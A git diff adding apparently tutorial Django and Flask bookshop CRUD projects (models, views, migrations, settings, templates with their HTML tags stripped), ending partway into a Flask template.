b/web-programming/accounting-app/base/wsgi.py new file mode 100644 index 00000000..52c2e23a --- /dev/null +++ b/web-programming/accounting-app/base/wsgi.py @@ -0,0 +1,16 @@ +""" +WSGI config for base project. + +It exposes the WSGI callable as a module-level variable named ``application``. + +For more information on this file, see +https://docs.djangoproject.com/en/4.1/howto/deployment/wsgi/ +""" + +import os + +from django.core.wsgi import get_wsgi_application + +os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'base.settings') + +application = get_wsgi_application() diff --git a/web-programming/accounting-app/db.sqlite3 b/web-programming/accounting-app/db.sqlite3 new file mode 100644 index 00000000..5beef1a0 Binary files /dev/null and b/web-programming/accounting-app/db.sqlite3 differ diff --git a/web-programming/accounting-app/manage.py b/web-programming/accounting-app/manage.py new file mode 100644 index 00000000..cd0be930 --- /dev/null +++ b/web-programming/accounting-app/manage.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python +"""Django's command-line utility for administrative tasks.""" +import os +import sys + + +def main(): + """Run administrative tasks.""" + os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'base.settings') + try: + from django.core.management import execute_from_command_line + except ImportError as exc: + raise ImportError( + "Couldn't import Django. Are you sure it's installed and " + "available on your PYTHONPATH environment variable? Did you " + "forget to activate a virtual environment?" + ) from exc + execute_from_command_line(sys.argv) + + +if __name__ == '__main__': + main() diff --git a/web-programming/accounting-app/requirements.txt b/web-programming/accounting-app/requirements.txt new file mode 100644 index 00000000..ca0e02b9 --- /dev/null +++ b/web-programming/accounting-app/requirements.txt @@ -0,0 +1,9 @@ +asgiref==3.5.2 +backports.zoneinfo==0.2.1 +Django==4.1.3 +django-appconf==1.0.5 +libsass==0.22.0 +rcssmin==1.1.1 +rjsmin==1.2.1 +sqlparse==0.4.3 +tzdata==2022.6 diff --git a/web-programming/bookshop-crud-app-django/README.md b/web-programming/bookshop-crud-app-django/README.md new file mode 100644 index 00000000..6d218442 --- /dev/null +++ b/web-programming/bookshop-crud-app-django/README.md @@ -0,0 +1 @@ +# [How to Build a CRUD Application using Django in Python](https://www.thepythoncode.com/article/build-bookstore-app-with-django-backend-python) \ No newline at end of file diff --git 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/dev/null and b/web-programming/bookshop-crud-app-django/books/__pycache__/views.cpython-39.pyc differ diff --git a/web-programming/bookshop-crud-app-django/books/admin.py b/web-programming/bookshop-crud-app-django/books/admin.py new file mode 100644 index 00000000..f97d9a64 --- /dev/null +++ b/web-programming/bookshop-crud-app-django/books/admin.py @@ -0,0 +1,6 @@ +from django.contrib import admin +# from the models.py file import Book +from .models import Book + +# registering the Book to the admin site +admin.site.register(Book) \ No newline at end of file diff --git a/web-programming/bookshop-crud-app-django/books/apps.py b/web-programming/bookshop-crud-app-django/books/apps.py new file mode 100644 index 00000000..a53388cf --- /dev/null +++ b/web-programming/bookshop-crud-app-django/books/apps.py @@ -0,0 +1,6 @@ +from django.apps import AppConfig + + +class BooksConfig(AppConfig): + default_auto_field = 'django.db.models.BigAutoField' + name = 'books' diff --git a/web-programming/bookshop-crud-app-django/books/forms.py b/web-programming/bookshop-crud-app-django/books/forms.py new file mode 100644 index 00000000..5592ac2f --- /dev/null +++ b/web-programming/bookshop-crud-app-django/books/forms.py @@ -0,0 +1,20 @@ +from .models import Book +from django.forms import ModelForm +from django import forms + +# declaring the ModelForm +class EditBookForm(ModelForm): + + class Meta: + # the Model from which the form will inherit from + model = Book + # the fields we want from the Model + fields = '__all__' + # styling the form with bootstrap classes + widgets = { + 'title': forms.TextInput(attrs={'class': 'form-control'}), + 'author': forms.TextInput(attrs={'class': 'form-control'}), + 'price': forms.TextInput(attrs={'class': 'form-control'}), + 'isbn': forms.TextInput(attrs={'class': 'form-control'}), + + } diff --git a/web-programming/bookshop-crud-app-django/books/migrations/0001_initial.py b/web-programming/bookshop-crud-app-django/books/migrations/0001_initial.py new file mode 100644 index 00000000..4eb61b37 --- /dev/null +++ b/web-programming/bookshop-crud-app-django/books/migrations/0001_initial.py @@ -0,0 +1,29 @@ +# Generated by Django 4.0.6 on 2022-07-17 08:18 + +from django.db import migrations, models + + +class Migration(migrations.Migration): + + initial = True + + dependencies = [ + ] + + operations = [ + migrations.CreateModel( + name='Book', + fields=[ + ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), + ('title', models.CharField(max_length=100)), + ('author', models.CharField(max_length=100)), + ('price', models.DecimalField(decimal_places=2, max_digits=10)), + ('isbn', models.CharField(max_length=100)), + ('image', models.ImageField(upload_to='')), + ('created_at', models.DateTimeField(auto_now_add=True, null=True)), + ], + options={ + 'ordering': ['-created_at'], + }, + ), + ] diff --git a/web-programming/bookshop-crud-app-django/books/migrations/0002_alter_book_image.py b/web-programming/bookshop-crud-app-django/books/migrations/0002_alter_book_image.py new file mode 100644 index 00000000..18a838bf --- /dev/null +++ b/web-programming/bookshop-crud-app-django/books/migrations/0002_alter_book_image.py @@ -0,0 +1,18 @@ +# Generated by Django 4.0.6 on 2022-07-17 08:29 + +from django.db import migrations, models + + +class Migration(migrations.Migration): + + dependencies = [ + ('books', '0001_initial'), + ] + + operations = [ + migrations.AlterField( + model_name='book', + name='image', + field=models.ImageField(default='images/', upload_to='images'), + ), + ] diff --git a/web-programming/bookshop-crud-app-django/books/migrations/0003_alter_book_image.py b/web-programming/bookshop-crud-app-django/books/migrations/0003_alter_book_image.py new file mode 100644 index 00000000..b47d2cbe --- /dev/null +++ b/web-programming/bookshop-crud-app-django/books/migrations/0003_alter_book_image.py @@ -0,0 +1,18 @@ +# Generated by Django 4.0.6 on 2022-07-17 08:29 + +from django.db import migrations, models + + +class Migration(migrations.Migration): + + dependencies = [ + ('books', '0002_alter_book_image'), + ] + + operations = [ + migrations.AlterField( + model_name='book', + name='image', + field=models.ImageField(default='images/default.jpg', upload_to='images'), + ), + ] diff --git a/web-programming/bookshop-crud-app-django/books/migrations/0004_alter_book_image.py b/web-programming/bookshop-crud-app-django/books/migrations/0004_alter_book_image.py new file mode 100644 index 00000000..99027613 --- /dev/null +++ b/web-programming/bookshop-crud-app-django/books/migrations/0004_alter_book_image.py @@ -0,0 +1,18 @@ +# Generated by Django 4.0.6 on 2022-07-17 08:34 + +from django.db import migrations, models + + +class Migration(migrations.Migration): + + dependencies = [ + ('books', '0003_alter_book_image'), + ] + + operations = [ + migrations.AlterField( + model_name='book', + name='image', + field=models.ImageField(default='images/default.jpg', upload_to='images/'), + ), + ] diff --git a/web-programming/bookshop-crud-app-django/books/migrations/__init__.py b/web-programming/bookshop-crud-app-django/books/migrations/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/web-programming/bookshop-crud-app-django/books/migrations/__pycache__/0001_initial.cpython-310.pyc b/web-programming/bookshop-crud-app-django/books/migrations/__pycache__/0001_initial.cpython-310.pyc new file mode 100644 index 00000000..efdd6d03 Binary files /dev/null and b/web-programming/bookshop-crud-app-django/books/migrations/__pycache__/0001_initial.cpython-310.pyc differ diff --git a/web-programming/bookshop-crud-app-django/books/migrations/__pycache__/0001_initial.cpython-39.pyc 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b/web-programming/bookshop-crud-app-django/books/migrations/__pycache__/__init__.cpython-310.pyc new file mode 100644 index 00000000..5d0cabb1 Binary files /dev/null and b/web-programming/bookshop-crud-app-django/books/migrations/__pycache__/__init__.cpython-310.pyc differ diff --git a/web-programming/bookshop-crud-app-django/books/migrations/__pycache__/__init__.cpython-39.pyc b/web-programming/bookshop-crud-app-django/books/migrations/__pycache__/__init__.cpython-39.pyc new file mode 100644 index 00000000..1d1a5b2f Binary files /dev/null and b/web-programming/bookshop-crud-app-django/books/migrations/__pycache__/__init__.cpython-39.pyc differ diff --git a/web-programming/bookshop-crud-app-django/books/models.py b/web-programming/bookshop-crud-app-django/books/models.py new file mode 100644 index 00000000..82248ab6 --- /dev/null +++ b/web-programming/bookshop-crud-app-django/books/models.py @@ -0,0 +1,21 @@ +from django.db import models + + +# the Book model with its fields +class Book(models.Model): + title = models.CharField(max_length=100) + author = models.CharField(max_length=100) + price = models.DecimalField(max_digits=10, decimal_places=2) + isbn = models.CharField(max_length=100) + # this is the image for a book, the image will be uploaded to images folder + image = models.ImageField(null=False, blank=False, upload_to='images/') + created_at = models.DateTimeField(auto_now_add=True, null=True, blank=True) + + # this is the string represantation, what to display after querying a book/books + def __str__(self): + return f'{self.title}' + + # this will order the books by date created + class Meta: + ordering = ['-created_at'] + diff --git a/web-programming/bookshop-crud-app-django/books/templates/books/add-book.html b/web-programming/bookshop-crud-app-django/books/templates/books/add-book.html new file mode 100644 index 00000000..2ed9797c --- /dev/null +++ b/web-programming/bookshop-crud-app-django/books/templates/books/add-book.html @@ -0,0 +1,57 @@ +{% extends 'books/base.html' %} + + +{% block content %} +
+
+ Go Back + +
+ +
+ +
+ + + {% csrf_token %} + + +
+ + +
+ + +
+ + +
+ + + +
+ + +
+ + +
+ + +
+ + +
+ + +
+ + + +
+
+ +
+
+
+{% endblock %} \ No newline at end of file diff --git a/web-programming/bookshop-crud-app-django/books/templates/books/base.html b/web-programming/bookshop-crud-app-django/books/templates/books/base.html new file mode 100644 index 00000000..713f536c --- /dev/null +++ b/web-programming/bookshop-crud-app-django/books/templates/books/base.html @@ -0,0 +1,16 @@ + + + + + + + Book Store + + + + + {% block content %} + + {% endblock %} + + \ No newline at end of file diff --git a/web-programming/bookshop-crud-app-django/books/templates/books/book-detail.html b/web-programming/bookshop-crud-app-django/books/templates/books/book-detail.html new file mode 100644 index 00000000..a3954427 --- /dev/null +++ b/web-programming/bookshop-crud-app-django/books/templates/books/book-detail.html @@ -0,0 +1,25 @@ +{% extends 'books/base.html' %} + +{% load static %} + + +{% block content %} +
+
+
+ Go Back +
+ + +
+ + +
Author: {{ book.author }}
+ ISBN: {{ book.isbn }}
+ Price: {{ book.price }}
+ Edit Book + Delete Book +
+
+
+{% endblock %} \ No newline at end of file diff --git a/web-programming/bookshop-crud-app-django/books/templates/books/delete-book.html b/web-programming/bookshop-crud-app-django/books/templates/books/delete-book.html new file mode 100644 index 00000000..c76e61a5 --- /dev/null +++ b/web-programming/bookshop-crud-app-django/books/templates/books/delete-book.html @@ -0,0 +1,28 @@ +{% extends 'books/base.html' %} + + +{% block content %} +
+
+ Go Back + +
+ +
+ +
+ + + {% csrf_token %} + +

Are you sure you want to delete the book '{{ book.title | upper}}'?

+ + + +
+
+ +
+
+
+{% endblock %} \ No newline at end of file diff --git a/web-programming/bookshop-crud-app-django/books/templates/books/home.html b/web-programming/bookshop-crud-app-django/books/templates/books/home.html new file mode 100644 index 00000000..c16ec09a --- /dev/null +++ b/web-programming/bookshop-crud-app-django/books/templates/books/home.html @@ -0,0 +1,50 @@ + +{% extends 'books/base.html' %} + + +{% load static %} + +{% block content %} +
+
+ +
+
+

Menu

+ + + + Add Book + +
+
+ + +
+
+ + {% for book in books %} +
+
+ + + + +
+ +

{{ book.title }}

+
+ View Book +
+
+ {% endfor %} + +
+ +
+ +
+
+{% endblock %} \ No newline at end of file diff --git a/web-programming/bookshop-crud-app-django/books/templates/books/update-book.html b/web-programming/bookshop-crud-app-django/books/templates/books/update-book.html new file mode 100644 index 00000000..0ffe58e5 --- /dev/null +++ b/web-programming/bookshop-crud-app-django/books/templates/books/update-book.html @@ -0,0 +1,28 @@ +{% extends 'books/base.html' %} + + +{% block content %} +
+
+ Go Back + +
+ +
+ +
+ + + {% csrf_token %} + +

{{ form }}

+ + + +
+
+ +
+
+
+{% endblock %} \ No newline at end of file diff --git a/web-programming/bookshop-crud-app-django/books/tests.py b/web-programming/bookshop-crud-app-django/books/tests.py new file mode 100644 index 00000000..7ce503c2 --- /dev/null +++ b/web-programming/bookshop-crud-app-django/books/tests.py @@ -0,0 +1,3 @@ +from django.test import TestCase + +# Create your tests here. diff --git a/web-programming/bookshop-crud-app-django/books/urls.py b/web-programming/bookshop-crud-app-django/books/urls.py new file mode 100644 index 00000000..8f0d6f70 --- /dev/null +++ b/web-programming/bookshop-crud-app-django/books/urls.py @@ -0,0 +1,17 @@ +from django.urls import path +# this imports all the views from the views.py +from . import views + + +urlpatterns = [ + # this is the home url + path('', views.home, name='home'), + # this is the single book url + path('book-detail//', views.book_detail, name='book-detail'), + # this is the add book url + path('add-book/', views.add_book, name='add-book'), + # this is the edit book url + path('edit-book//', views.edit_book, name='edit-book'), + # this is the delete book url + path('delete-book//', views.delete_book, name='delete-book'), +] \ No newline at end of file diff --git a/web-programming/bookshop-crud-app-django/books/views.py b/web-programming/bookshop-crud-app-django/books/views.py new file mode 100644 index 00000000..b5aba2bf --- /dev/null +++ b/web-programming/bookshop-crud-app-django/books/views.py @@ -0,0 +1,73 @@ +from django.shortcuts import render, redirect +from .models import Book +from .forms import EditBookForm + +# this is a view for listing all the books +def home(request): + # retrieving all the books from the database + books = Book.objects.all() + context = {'books': books} + return render(request, 'books/home.html', context) + + +# this is a view for listing a single book +def book_detail(request, id): + # querying a particular book by its id + book = Book.objects.get(pk=id) + context = {'book': book} + return render(request, 'books/book-detail.html', context) + +# this is a view for adding a book +def add_book(request): + # checking if the method is POST + if request.method == 'POST': + # getting all the data from the POST request + data = request.POST + # getting the image + image = request.FILES.get('image-file') + # creating and saving the book + book = Book.objects.create( + title = data['title'], + author = data['author'], + isbn = data['isbn'], + price = data['price'], + image = image + ) + # going to the home page + return redirect('home') + return render(request, 'books/add-book.html') + + +# this is a view for editing the book's info +def edit_book(request, id): + # getting the book to be updated + book = Book.objects.get(pk=id) + # populating the form with the book's information + form = EditBookForm(instance=book) + # checking if the request is POST + if request.method == 'POST': + # filling the form with all the request data + form = EditBookForm(request.POST, request.FILES, instance=book) + # checking if the form's data is valid + if form.is_valid(): + # saving the data to the database + form.save() + # redirecting to the home page + return redirect('home') + context = {'form': form} + return render(request, 'books/update-book.html', context) + + + +# this is a view for deleting a book +def delete_book(request, id): + # getting the book to be deleted + book = Book.objects.get(pk=id) + # checking if the method is POST + if request.method == 'POST': + # delete the book + book.delete() + # return to home after a success delete + return redirect('home') + context = {'book': book} + return render(request, 'books/delete-book.html', context) diff --git a/web-programming/bookshop-crud-app-django/bookstore/__init__.py b/web-programming/bookshop-crud-app-django/bookstore/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/web-programming/bookshop-crud-app-django/bookstore/__pycache__/__init__.cpython-310.pyc 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b/web-programming/bookshop-crud-app-django/bookstore/asgi.py @@ -0,0 +1,16 @@ +""" +ASGI config for bookstore project. + +It exposes the ASGI callable as a module-level variable named ``application``. + +For more information on this file, see +https://docs.djangoproject.com/en/4.0/howto/deployment/asgi/ +""" + +import os + +from django.core.asgi import get_asgi_application + +os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'bookstore.settings') + +application = get_asgi_application() diff --git a/web-programming/bookshop-crud-app-django/bookstore/settings.py b/web-programming/bookshop-crud-app-django/bookstore/settings.py new file mode 100644 index 00000000..aa82815a --- /dev/null +++ b/web-programming/bookshop-crud-app-django/bookstore/settings.py @@ -0,0 +1,135 @@ +""" +Django settings for bookstore project. + +Generated by 'django-admin startproject' using Django 4.0.6. + +For more information on this file, see +https://docs.djangoproject.com/en/4.0/topics/settings/ + +For the full list of settings and their values, see +https://docs.djangoproject.com/en/4.0/ref/settings/ +""" + +from pathlib import Path + +# Build paths inside the project like this: BASE_DIR / 'subdir'. +BASE_DIR = Path(__file__).resolve().parent.parent + + +# Quick-start development settings - unsuitable for production +# See https://docs.djangoproject.com/en/4.0/howto/deployment/checklist/ + +# SECURITY WARNING: keep the secret key used in production secret! +SECRET_KEY = 'django-insecure-&2vin_80us&ns@%mty%y9ym=!c&oyq6i(=e^r=x^&9l&xi$39m' + +# SECURITY WARNING: don't run with debug turned on in production! +DEBUG = True + +ALLOWED_HOSTS = [] + + +# Application definition + +INSTALLED_APPS = [ + 'django.contrib.admin', + 'django.contrib.auth', + 'django.contrib.contenttypes', + 'django.contrib.sessions', + 'django.contrib.messages', + 'django.contrib.staticfiles', + # created applications + 'books', +] + + +MIDDLEWARE = [ + 'django.middleware.security.SecurityMiddleware', + 'django.contrib.sessions.middleware.SessionMiddleware', + 'django.middleware.common.CommonMiddleware', + 'django.middleware.csrf.CsrfViewMiddleware', + 'django.contrib.auth.middleware.AuthenticationMiddleware', + 'django.contrib.messages.middleware.MessageMiddleware', + 'django.middleware.clickjacking.XFrameOptionsMiddleware', +] + +ROOT_URLCONF = 'bookstore.urls' + +TEMPLATES = [ + { + 'BACKEND': 'django.template.backends.django.DjangoTemplates', + 'DIRS': [], + 'APP_DIRS': True, + 'OPTIONS': { + 'context_processors': [ + 'django.template.context_processors.debug', + 'django.template.context_processors.request', + 'django.contrib.auth.context_processors.auth', + 'django.contrib.messages.context_processors.messages', + ], + }, + }, +] + +WSGI_APPLICATION = 'bookstore.wsgi.application' + + +# Database +# https://docs.djangoproject.com/en/4.0/ref/settings/#databases + +DATABASES = { + 'default': { + 'ENGINE': 'django.db.backends.sqlite3', + 'NAME': BASE_DIR / 'db.sqlite3', + } +} + + +# Password validation +# https://docs.djangoproject.com/en/4.0/ref/settings/#auth-password-validators + +AUTH_PASSWORD_VALIDATORS = [ + { + 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', + }, + { + 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', + }, + { + 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', + }, + { + 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', + }, +] + + +# Internationalization +# https://docs.djangoproject.com/en/4.0/topics/i18n/ + +LANGUAGE_CODE = 'en-us' + +TIME_ZONE = 'UTC' + +USE_I18N = True + +USE_TZ = True + + +# Static files (CSS, JavaScript, Images) +# https://docs.djangoproject.com/en/4.0/howto/static-files/ + +STATIC_URL = 'static/' + +# all images will be located in the images folder inside static foldr +MEDIA_URL = '/images/' + +# The application will find all the image files in the base static folder +MEDIA_ROOT = BASE_DIR / 'static/' + +# The application will find all the static files in the base static folder +STATICFILES_DIRS = [ BASE_DIR / 'static' ] + +# Default primary key field type +# https://docs.djangoproject.com/en/4.0/ref/settings/#default-auto-field + +DEFAULT_AUTO_FIELD = 'django.db.models.BigAutoField' diff --git a/web-programming/bookshop-crud-app-django/bookstore/urls.py b/web-programming/bookshop-crud-app-django/bookstore/urls.py new file mode 100644 index 00000000..3fd63ad4 --- /dev/null +++ b/web-programming/bookshop-crud-app-django/bookstore/urls.py @@ -0,0 +1,18 @@ +# importing the django's in-built admin url +from django.contrib import admin +# importing path and include from django's in-built urls +from django.urls import path, include + +# importing conf from settings.py +from django.conf import settings +# importing conf.urls from static +from django.conf.urls.static import static + +# defining the list for urls +urlpatterns = [ + path('admin/', admin.site.urls), + # registering books application's urls in project + path('bookstore/', include('books.urls')), +] +# appending the urls with the static urls +urlpatterns += static(settings.MEDIA_URL, document_root = settings.MEDIA_ROOT) \ No newline at end of file diff --git a/web-programming/bookshop-crud-app-django/bookstore/wsgi.py b/web-programming/bookshop-crud-app-django/bookstore/wsgi.py new file mode 100644 index 00000000..d907828f --- /dev/null +++ b/web-programming/bookshop-crud-app-django/bookstore/wsgi.py @@ -0,0 +1,16 @@ +""" +WSGI config for bookstore project. + +It exposes the WSGI callable as a module-level variable named ``application``. + +For more information on this file, see +https://docs.djangoproject.com/en/4.0/howto/deployment/wsgi/ +""" + +import os + +from django.core.wsgi import get_wsgi_application + +os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'bookstore.settings') + +application = get_wsgi_application() diff --git a/web-programming/bookshop-crud-app-django/db.sqlite3 b/web-programming/bookshop-crud-app-django/db.sqlite3 new file mode 100644 index 00000000..5ad967a6 Binary files /dev/null and b/web-programming/bookshop-crud-app-django/db.sqlite3 differ diff --git a/web-programming/bookshop-crud-app-django/manage.py b/web-programming/bookshop-crud-app-django/manage.py new file mode 100644 index 00000000..1de327f3 --- /dev/null +++ b/web-programming/bookshop-crud-app-django/manage.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python +"""Django's command-line utility for administrative tasks.""" +import os +import sys + + +def main(): + """Run administrative tasks.""" + os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'bookstore.settings') + try: + from django.core.management import execute_from_command_line + except ImportError as exc: + raise ImportError( + "Couldn't import Django. Are you sure it's installed and " + "available on your PYTHONPATH environment variable? Did you " + "forget to activate a virtual environment?" + ) from exc + execute_from_command_line(sys.argv) + + +if __name__ == '__main__': + main() diff --git a/web-programming/bookshop-crud-app-django/requirements.txt b/web-programming/bookshop-crud-app-django/requirements.txt new file mode 100644 index 00000000..a4088d3a --- /dev/null +++ b/web-programming/bookshop-crud-app-django/requirements.txt @@ -0,0 +1,2 @@ +django +Pillow \ No newline at end of file diff --git a/web-programming/bookshop-crud-app-django/static/images/414zYx1SEoL.jpg b/web-programming/bookshop-crud-app-django/static/images/414zYx1SEoL.jpg new file mode 100644 index 00000000..2643bacc Binary files /dev/null and b/web-programming/bookshop-crud-app-django/static/images/414zYx1SEoL.jpg differ diff --git a/web-programming/bookshop-crud-app-django/static/images/41iYPb47M-L._SX384_BO1204203200_.jpg b/web-programming/bookshop-crud-app-django/static/images/41iYPb47M-L._SX384_BO1204203200_.jpg new file mode 100644 index 00000000..e851997a Binary files /dev/null and b/web-programming/bookshop-crud-app-django/static/images/41iYPb47M-L._SX384_BO1204203200_.jpg differ diff --git a/web-programming/bookshop-crud-app-django/static/images/51av4IdK8LL.jpg b/web-programming/bookshop-crud-app-django/static/images/51av4IdK8LL.jpg new file mode 100644 index 00000000..aee081d0 Binary files /dev/null and b/web-programming/bookshop-crud-app-django/static/images/51av4IdK8LL.jpg differ diff --git a/web-programming/bookshop-crud-app-django/static/images/51gwRCd9PL.jpg b/web-programming/bookshop-crud-app-django/static/images/51gwRCd9PL.jpg new file mode 100644 index 00000000..cca1cf75 Binary files /dev/null and b/web-programming/bookshop-crud-app-django/static/images/51gwRCd9PL.jpg differ diff --git a/web-programming/bookshop-crud-app-django/static/images/51p6vUygeL.jpg b/web-programming/bookshop-crud-app-django/static/images/51p6vUygeL.jpg new file mode 100644 index 00000000..cb2ca933 Binary files /dev/null and b/web-programming/bookshop-crud-app-django/static/images/51p6vUygeL.jpg differ diff --git a/web-programming/bookshop-crud-app-django/static/images/71GPxGNQ6L.jpg b/web-programming/bookshop-crud-app-django/static/images/71GPxGNQ6L.jpg new file mode 100644 index 00000000..5ceaf556 Binary files /dev/null and b/web-programming/bookshop-crud-app-django/static/images/71GPxGNQ6L.jpg differ diff --git a/web-programming/bookshop-crud-app-django/static/images/978-1-4302-4210-9.jpg b/web-programming/bookshop-crud-app-django/static/images/978-1-4302-4210-9.jpg new file mode 100644 index 00000000..8f174138 Binary files /dev/null and b/web-programming/bookshop-crud-app-django/static/images/978-1-4302-4210-9.jpg differ diff --git a/web-programming/bookshop-crud-app-django/static/images/Black_and_White_Modern_How_To_Become_A_Professional_Hacker_Book_Cover.png b/web-programming/bookshop-crud-app-django/static/images/Black_and_White_Modern_How_To_Become_A_Professional_Hacker_Book_Cover.png new file mode 100644 index 00000000..3e814cf7 Binary files /dev/null and b/web-programming/bookshop-crud-app-django/static/images/Black_and_White_Modern_How_To_Become_A_Professional_Hacker_Book_Cover.png differ diff --git a/web-programming/bookshop-crud-app-django/static/images/download.png b/web-programming/bookshop-crud-app-django/static/images/download.png new file mode 100644 index 00000000..b80664f1 Binary files /dev/null and b/web-programming/bookshop-crud-app-django/static/images/download.png differ diff --git a/web-programming/bookshop-crud-app-flask-fullstack/LICENSE b/web-programming/bookshop-crud-app-flask-fullstack/LICENSE new file mode 100644 index 00000000..7a493e2d --- /dev/null +++ b/web-programming/bookshop-crud-app-flask-fullstack/LICENSE @@ -0,0 +1,20 @@ +The MIT License (MIT) + +Copyright (c) 2022 Ezzeddin Abdullah + +Permission is hereby granted, free of charge, to any person obtaining a copy of +this software and associated documentation files (the "Software"), to deal in +the Software without restriction, including without limitation the rights to +use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of +the Software, and to permit persons to whom the Software is furnished to do so, +subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS +FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR +COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER +IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN +CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. \ No newline at end of file diff --git a/web-programming/bookshop-crud-app-flask-fullstack/README.md b/web-programming/bookshop-crud-app-flask-fullstack/README.md new file mode 100644 index 00000000..76f40df7 --- /dev/null +++ b/web-programming/bookshop-crud-app-flask-fullstack/README.md @@ -0,0 +1,12 @@ +# Fullstack Bookshop CRUD app using MySQL with Flask and SQLAlchemy + +## Quick start +```bash +$ python3 -m venv venv +$ . venv/bin/activate +$ pip install --upgrade pip +$ pip install -r requirements.txt +$ cd fullstack_crud_flask_sqlalchemy +$ export FLASK_APP=bookshop.py +$ flask run +``` diff --git a/web-programming/bookshop-crud-app-flask-fullstack/app/__init__.py b/web-programming/bookshop-crud-app-flask-fullstack/app/__init__.py new file mode 100644 index 00000000..fa7056db --- /dev/null +++ b/web-programming/bookshop-crud-app-flask-fullstack/app/__init__.py @@ -0,0 +1,17 @@ +from flask import Flask +from flask_sqlalchemy import SQLAlchemy +from flask_bootstrap import Bootstrap +from config import config + +db = SQLAlchemy() +bootstrap = Bootstrap() + + +def create_app(config_name): + app = Flask(__name__) + app.config.from_object(config[config_name]) + config[config_name].init_app(app) + + bootstrap.init_app(app) + db.init_app(app) + return app diff --git a/web-programming/bookshop-crud-app-flask-fullstack/app/models.py b/web-programming/bookshop-crud-app-flask-fullstack/app/models.py new file mode 100644 index 00000000..b9ab5bc0 --- /dev/null +++ b/web-programming/bookshop-crud-app-flask-fullstack/app/models.py @@ -0,0 +1,17 @@ +from . import db + + +class Book(db.Model): + __tablename__ = 'books' + isbn = db.Column(db.Integer, primary_key=True) + author = db.Column(db.String(100), nullable=False) + title = db.Column(db.String(100), nullable=False) + price = db.Column(db.Float) + + def to_json(self): + return { + 'isbn': self.isbn, + 'author': self.author, + 'title': self.title, + 'price': self.price + } diff --git a/web-programming/bookshop-crud-app-flask-fullstack/app/routes.py b/web-programming/bookshop-crud-app-flask-fullstack/app/routes.py new file mode 100644 index 00000000..c40aad3d --- /dev/null +++ b/web-programming/bookshop-crud-app-flask-fullstack/app/routes.py @@ -0,0 +1,65 @@ +import os +from . import create_app +from .models import Book +from . import db +from flask import jsonify, redirect, request, abort, render_template, url_for + +app = create_app(os.getenv('FLASK_CONFIG') or 'default') + + +@app.route("/") +def index(): + books = Book.query.all() + return render_template("index.html", books=books) + + +@app.route("/book/list", methods=["GET"]) +def get_books(): + books = Book.query.all() + return jsonify([book.to_json() for book in books]) + + +@app.route("/book/", methods=["GET"]) +def get_book(isbn): + book = Book.query.get(isbn) + if book is None: + abort(404) + return render_template("book.html", isbn=isbn) + + +@app.route("/delete/", methods=["POST"]) +def delete(isbn): + book = Book.query.get(isbn) + if book is None: + abort(404) + db.session.delete(book) + db.session.commit() + return redirect(url_for("index")) + + +@app.route('/add_book/', methods=['POST']) +def add_book(): + if not request.form: + abort(400) + book = Book( + title=request.form.get('title'), + author=request.form.get('author'), + price=request.form.get('price') + ) + db.session.add(book) + db.session.commit() + return redirect(url_for("index")) + + +@app.route('/update_book/', methods=['POST']) +def update_book(isbn): + if not request.form: + abort(400) + book = Book.query.get(isbn) + if book is None: + abort(404) + book.title = request.form.get('title', book.title) + book.author = request.form.get('author', book.author) + book.price = request.form.get('price', book.price) + db.session.commit() + return redirect(url_for("index")) diff --git a/web-programming/bookshop-crud-app-flask-fullstack/app/static/main.css b/web-programming/bookshop-crud-app-flask-fullstack/app/static/main.css new file mode 100644 index 00000000..0304ed6c --- /dev/null +++ b/web-programming/bookshop-crud-app-flask-fullstack/app/static/main.css @@ -0,0 +1,12 @@ +body { + padding-top: 50px; +} + +.starter-template { + padding: 40px 15px; + text-align: center; +} + +td, th { + text-align: center +} \ No newline at end of file diff --git a/web-programming/bookshop-crud-app-flask-fullstack/app/templates/base.html b/web-programming/bookshop-crud-app-flask-fullstack/app/templates/base.html new file mode 100644 index 00000000..7f751757 --- /dev/null +++ b/web-programming/bookshop-crud-app-flask-fullstack/app/templates/base.html @@ -0,0 +1,36 @@ +{% extends "bootstrap/base.html" %} + +{% block title %}Bookshop{% endblock %} + +{% block head %} +{{ super() }} + +{% endblock %} +{% block navbar %} + + +{% endblock %} + +{% block content %} +
+ {% block page_content %} {% endblock %} +
+{% endblock %} \ No newline at end of file diff --git a/web-programming/bookshop-crud-app-flask-fullstack/app/templates/book.html b/web-programming/bookshop-crud-app-flask-fullstack/app/templates/book.html new file mode 100644 index 00000000..1fc7edae --- /dev/null +++ b/web-programming/bookshop-crud-app-flask-fullstack/app/templates/book.html @@ -0,0 +1,7 @@ +{% extends "base.html" %} + +{% block page_content %} +
+

Book's ISBN: {{ isbn }}

+
+{% endblock %} \ No newline at end of file diff --git a/web-programming/bookshop-crud-app-flask-fullstack/app/templates/books.html b/web-programming/bookshop-crud-app-flask-fullstack/app/templates/books.html new file mode 100644 index 00000000..9a739668 --- /dev/null +++ b/web-programming/bookshop-crud-app-flask-fullstack/app/templates/books.html @@ -0,0 +1,7 @@ +{% extends "base.html" %} + +{% block page_content %} +
+ +
